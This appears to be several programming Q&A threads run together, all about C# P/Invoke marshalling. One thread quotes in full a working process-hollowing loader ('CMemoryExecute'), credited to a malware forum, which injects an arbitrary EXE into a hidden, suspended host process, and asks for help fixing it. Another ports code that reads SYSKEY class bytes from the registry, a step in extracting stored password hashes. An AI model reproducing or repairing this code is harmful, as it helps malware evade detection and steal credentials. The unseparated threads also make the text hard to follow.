Now, LLONG is pointer sized, 32 bit under x86, 64 bit under x64. That translates to IntPtr for C#. I'd declare the p/invoke like this:
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CLIENT_GetDevConfig(
IntPtr lLoginID,
uint dwCommand,
int lChannel,
out NET_TIME lpOutBuffer,
uint dwOutBufferSize,
out uint lpBytesReturned,
int waittime
);
The main problems that I can see are that:
You are translated dwOutBufferSize incorrectly. It's an IN parameter but you are passing it by reference. This is the most likely explanation for the failure.
In the C++ code you pass a pointer to a DWORD variable for lpBytesReturned. In your C# code you pass IntPtr.Zero which is the null pointer.
So, I'd have the call to CLIENT_GetDevConfig looking like this:
NET_TIME nt;
uint sizeofnt = (uint)Marshal.SizeOf(typeof(NET_TIME));
uint BytesReturned;
if (!CLIENT_GetDevConfig(lLogin, 8, 0, out nt, sizeofnt, out BytesReturned, 500))
....
It may be that you can indeed pass IntPtr.Zero to the BytesReturned parameter. Perhaps it's an optional parameter. But I cannot tell that from here. However, for sure the dwOutBufferSize mis-declaration is an error.
I found some questions, asking how to run native EXE from RAM. I used this example code:
using System;
using System.Runtime.InteropServices;
/*
* Title: CMemoryExecute.cs
* Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny.
*
* Developed by: affixiate
* Release date: December 10, 2010
* Released on: http://opensc.ws
* Credits:
* MSDN (http://msdn.microsoft.com)
* NtInternals (http://undocumented.ntinternals.net)
* Pinvoke (http://pinvoke.net)
*
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/
// ReSharper disable InconsistentNaming
public static unsafe class CMemoryExecute
{
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
/// <summary>
/// Runs an EXE (which is loaded in a byte array) in memory.
/// </summary>
/// <param name="exeBuffer">The EXE buffer.</param>
/// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
/// <param name="optionalArguments">Optional command line arguments.</param>
/// <returns></returns>
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
{
// STARTUPINFO
STARTUPINFO StartupInfo = new STARTUPINFO();
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow = SW_HIDE;
var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
var PROCESS_INFO = new int[0x4]; // pi
var CONTEXT = new byte[0x2cc]; // ctx
byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p;
byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p;
byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p;
byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p;
// Set the flag.
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;
// Get the DOS header of the EXE.
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);
/* Sanity check: See if we have MZ header. */
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
return false;
var e_lfanew = *(int*)(pidh + 0x3c);
// Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);
/* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
return false;
// Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments;
int ERROR_CODE = 0;
if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref StartupInfo, PROCESS_INFO))
{
ERROR_CODE = Marshal.GetLastWin32Error();
return false;
}
var ImageBase = new IntPtr(*(int*)(pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
ERROR_CODE = Marshal.GetLastWin32Error();
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)
fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
{
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
}
NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
ERROR_CODE = Marshal.GetLastWin32Error();
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
*(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /* AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
ERROR_CODE = Marshal.GetLastWin32Error();
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
return true;
}
#region WinNT Definitions
private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
private static short SW_SHOW = 5;
private static short SW_HIDE = 0;
private const uint STARTF_USESTDHANDLES = 0x00000100;
private const uint STARTF_USESHOWWINDOW = 0x00000001;
#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, int[] lpProcessInfo);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
#endregion
#endregion
}
My .net prog was in 32 bit architecture and I was injecting into C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\vbc.exe:
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = "EXE Files (*.exe)|*.exe;";
if (ofd.ShowDialog(this) == System.Windows.Forms.DialogResult.OK)
CMemoryExecute.Run(File.ReadAllBytes(ofd.FileName), "C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
When I run this, simply happens nothing, but the vbc.exe actually starts and visible in task manager, but hidden. I tried to inject into other exes too.
I use 32 bit win 8 and tried to run notepad.exe and some other win32 exe.
No any windows internal errors appear, like DEP prevention and etc.
I added ERROR_CODE = Marshal.GetLastWin32Error(); code checks into the code, but everywhere it is zero, kind of no errors and no work :(
I tested in framework 2.0 and 4.0
I should mention that I don't know much about what this code is doing, but see this line:
StartupInfo.wShowWindow = SW_HIDE;
Nowhere else is wShowWindow assigned to.
I attempted to visit http://opensc.ws which is mentioned in the comment, and got a strange page asking for a captcha and a reason for temporary access. Permanent access needed site admin approval. After requesting "temporary" access, I got a message saying the website was offline. Very suspicious.
I would place money that this code was originally developed with intentions other than good, but I could be wrong.
I am trying to port the following C++ code:
BOOL SyskeyGetClassBytes(HKEY hKeyReg,LPSTR keyName,LPSTR valueName,LPBYTE classBytes) {
HKEY hKey,hSubKey;
DWORD dwDisposition=0,classSize;
BYTE classStr[16];
LONG ret;
BOOL isSuccess = FALSE;
ret = RegCreateKeyEx(hKeyReg,keyName,0,NULL,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&hKey,&dwDisposition);
if(ret!=ERROR_SUCCESS)
return FALSE;
else if(dwDisposition!=REG_OPENED_EXISTING_KEY) {
RegCloseKey(hKey);
return FALSE;
}
else {
if(RegOpenKeyEx(hKey,valueName,0,KEY_READ,&hSubKey)==ERROR_SUCCESS) {
classSize = 8+1;
ret = RegQueryInfoKey(hSubKey,(LPTSTR)classStr,&classSize,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
if((ret==ERROR_SUCCESS)&&(classSize==8)) {
classBytes[0]= (HexDigitToByte(classStr[0]) << 4) | HexDigitToByte(classStr[1]);
classBytes[1]= (HexDigitToByte(classStr[2]) << 4) | HexDigitToByte(classStr[3]);
classBytes[2]= (HexDigitToByte(classStr[4]) << 4) | HexDigitToByte(classStr[5]);
classBytes[3]= (HexDigitToByte(classStr[6]) << 4) | HexDigitToByte(classStr[7]);
isSuccess = TRUE;
}
RegCloseKey(hSubKey);
}
RegCloseKey(hKey);
}
return isSuccess;
}
I spent like 5 hours trying to figure out my problem, with no success. I know for a fact that I am properly calling this method. My C# code is
unsafe static bool SyskeyGetClassBytes(RegistryHive hKeyReg, string keyName, string valueName, byte* classBytes)
{
UIntPtr hSubKey;
UIntPtr hKey;
RegResult tmp; ;
uint classSize;
StringBuilder classStr = new StringBuilder();
int ret;
bool isSuccess = false;
ret = RegCreateKeyEx(hKeyReg, keyName, 0, null, RegOption.NonVolatile, RegSAM.QueryValue, UIntPtr.Zero, out hKey, out tmp);
if (ret != 0)
{
return false;
}
else if (tmp != RegResult.OpenedExistingKey)
{
return false;
}
else
{
int res = RegOpenKeyEx(hKey, valueName, 0, (int)RegSAM.Read, out hSubKey);
if (res == 0)
{
classSize = 8 + 1;
ret = RegQueryInfoKey(hSubKey, out classStr, ref classSize, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if ((classSize == 8))
{
classBytes[0] = (byte)((byte)(HexDigitToByte(classStr[0]) << (byte)4) | HexDigitToByte(classStr[1]));
classBytes[1] = (byte)((byte)(HexDigitToByte(classStr[2]) << (byte)4) | HexDigitToByte(classStr[3]));
classBytes[2] = (byte)((byte)(HexDigitToByte(classStr[4]) << (byte)4) | HexDigitToByte(classStr[5]));
classBytes[3] = (byte)((byte)(HexDigitToByte(classStr[6]) << (byte)4) | HexDigitToByte(classStr[7]));
isSuccess = true;
}
RegCloseKey(hSubKey);
}
else
{
return false;
}
RegCloseKey(hKey);
}
return isSuccess;
}
Its a little bit hard for me to debug, but eventually I determined that the problem is occurring at this line. Execution seems to halt afterwards.
ret = RegQueryInfoKey(hSubKey, out classStr, ref classSize, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
I know this is not a problem with permissions, as this C# program is running with admin perms AND as the local system account. The method that I need that the .Net APIs don't offer is RegQueryInfoKey. My P/Invoke signatures and types used are:
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public unsafe byte* lpSecurityDescriptor;
public int bInheritHandle;
}
[Flags]
public enum RegOption
{
NonVolatile = 0x0,
Volatile = 0x1,
CreateLink = 0x2,
BackupRestore = 0x4,
OpenLink = 0x8
}
[Flags]
public enum RegSAM
{
QueryValue = 0x0001,
SetValue = 0x0002,
CreateSubKey = 0x0004,
EnumerateSubKeys = 0x0008,
Notify = 0x0010,
CreateLink = 0x0020,
WOW64_32Key = 0x0200,
WOW64_64Key = 0x0100,
WOW64_Res = 0x0300,
Read = 0x00020019,
Write = 0x00020006,
Execute = 0x00020019,
AllAccess = 0x000f003f
}
public enum RegResult
{
CreatedNewKey = 0x00000001,
OpenedExistingKey = 0x00000002
}
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
UIntPtr hKey,
string subKey,
int ulOptions,
int samDesired,
out UIntPtr hkResult);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(
UIntPtr hKey);
[DllImport("advapi32.dll", SetLastError = true)]
static extern int RegCreateKeyEx(
RegistryHive hKey,
string lpSubKey,
int Reserved,
string lpClass,
RegOption dwOptions,
RegSAM samDesired,
UIntPtr lpSecurityAttributes,
out UIntPtr phkResult,
out RegResult lpdwDisposition);
[DllImport("advapi32.dll", EntryPoint = "RegQueryInfoKey", CallingConvention = CallingConvention.Winapi, SetLastError = true)]
extern private static int RegQueryInfoKey(
UIntPtr hkey,
out StringBuilder lpClass,
ref uint lpcbClass,
IntPtr lpReserved,
IntPtr lpcSubKeys,
IntPtr lpcbMaxSubKeyLen,
IntPtr lpcbMaxClassLen,
IntPtr lpcValues,
IntPtr lpcbMaxValueNameLen,
IntPtr lpcbMaxValueLen,
IntPtr lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
The lpClass parameter is declared incorrectly. Pass the StringBuilder by value.
[DllImport("advapi32.dll")]
extern private static int RegQueryInfoKey(
UIntPtr hkey,
StringBuilder lpClass,
ref uint lpcbClass,
IntPtr lpReserved,
IntPtr lpcSubKeys,
IntPtr lpcbMaxSubKeyLen,
IntPtr lpcbMaxClassLen,
IntPtr lpcValues,
IntPtr lpcbMaxValueNameLen,
IntPtr lpcbMaxValueLen,
IntPtr lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime
);
You also need to allocate the StringBuilder instance to have the desired capacity. So, allocate the StringBuilder like this:
StringBuilder classStr = new StringBuilder(255);//or whatever length you like
And then set classSize like this:
classSize = classStr.Capacity+1;
I removed the parameters to DllImport. Most are not necessary, and the SetLastError is incorrect.
There may be other issues with your code, but with these changes at least the call to RegQueryInfoKey will match your C++ code.
Try this signature for RegQueryInfoKey:
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
extern private static int RegQueryInfoKey(
UIntPtr hkey,
out StringBuilder lpClass,
ref uint lpcbClass,
IntPtr lpReserved,
out uint lpcSubKeys,
out uint lpcbMaxSubKeyLen,
out uint lpcbMaxClassLen,
out uint lpcValues,
out uint lpcbMaxValueNameLen,
out uint lpcbMaxValueLen,
out uint lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
You are not declaring them as out params and in the RegQueryInfoKey Win32 call they are _Out_opt_.
You need to initialize your StringBuilder with enough capacity to store a classSize number of characters.
classSize = 8 + 1;
classStr.Capacity = classSize;
ret = RegQueryInfoKey(hSubKey, out classStr, ref classSize, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
The marshaller will use the capacity set on the StringBuilder to send a buffer of the capacity size to the RegQueryInfoKey function. Without that you are probably corrupted memory.
See http://msdn.microsoft.com/en-us/library/s9ts558h.aspx#cpcondefaultmarshalingforstringsanchor3
I'm converting a C++ application into C# which has generally been fairly straight forward, but now I'm dealing with pointers and running into problems.
This is the original C++ code
ShockVideoInfo* pVideoInfo = new ShockVideoInfo;
COPYDATASTRUCT cd;
cd.dwData = bSelf ? SHOCK_REQUEST_SELFVIEW_WINDOW : SHOCK_REQUEST_MAINVIEW_WINDOW;
cd.lpData = pVideoInfo;
cd.cbData = sizeof(ShockVideoInfo);
pVideoInfo->dwLeft = 10;
pVideoInfo->dwTop = 10;
pVideoInfo->dwWidth = 100;
pVideoInfo->dwHeight = 100;
pVideoInfo->dwFlags = SHVIDSHOW | SHVIDSIZE | SHVIDTOPMOST | SHVIDMOVE | SHVIDSIZABLE;
if (::SendMessage(m_hShockWnd, WM_COPYDATA, (WPARAM)GetSafeHwnd(), (LPARAM)&cd))
Log(eResult, _T("Window updated"));
else
Log(eError, _T("Window not updated"));
with the structure definition
typedef struct tagShockVideoInfo
{
DWORD dwLeft;
DWORD dwTop;
DWORD dwWidth;
DWORD dwHeight;
DWORD dwFlags;
} ShockVideoInfo;
Here's my conversion to C#, using Marshalling to handle the pointers:
ShockVideoInfo videoInfo = new ShockVideoInfo();
COPYDATASTRUCT cd = new COPYDATASTRUCT();
cd.dwData = (IntPtr)_shockRequestMainviewWindow;
cd.lpData = Marshal.AllocCoTaskMem(cd.cbData); // Pointer to videoInfo
Marshal.StructureToPtr(videoInfo, cd.lpData, true);
cd.cbData = Marshal.SizeOf(videoInfo);
// Set-up video window position
videoInfo.dwFlags = _shvidShow | _shvidSize | _shvidTopmost | _shvidMove | _shvidSizable;
videoInfo.dwTop = 10;
videoInfo.dwLeft = 10;
videoInfo.dwHeight = 100;
videoInfo.dwWidth = 100;
IntPtr cdPointer = Marshal.AllocCoTaskMem(Marshal.SizeOf(videoInfo));
Marshal.StructureToPtr(videoInfo, cdPointer, true);
if ( (int) SendMessage(_hWnd, WM_COPYDATA, _formHandle, cdPointer) == 1 )
{
Debug.WriteLine("Window updated");
}
else
{
Debug.WriteLine("Window not updated");
}
Marshal.FreeCoTaskMem(cdPointer);
Marshal.FreeCoTaskMem(cd.lpData);
In addition I'm using the following in my C# code:
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[StructLayout(LayoutKind.Sequential)]
struct ShockVideoInfo
{
public uint dwLeft;
public uint dwTop;
public uint dwWidth;
public uint dwHeight;
public uint dwFlags;
}
[StructLayout(LayoutKind.Sequential)]
struct COPYDATASTRUCT
{
public IntPtr dwData;
public int cbData;
public IntPtr lpData;
}
My code isn't getting the response I want (which is moving a video window), so I've done something wrong.
Can anyone with experience in this area please show me what I'm doing wrong?
I think I've found my issue:
IntPtr cdPointer = Marshal.AllocCoTaskMem(Marshal.SizeOf(videoInfo));
Marshal.StructureToPtr(videoInfo, cdPointer, true);
Should have been:
IntPtr cdPointer = Marshal.AllocCoTaskMem(Marshal.SizeOf(cd));
Marshal.StructureToPtr(cd, cdPointer, false);
In other words, I wasn't passing the pointer to the videoInfo structure! Which helps :)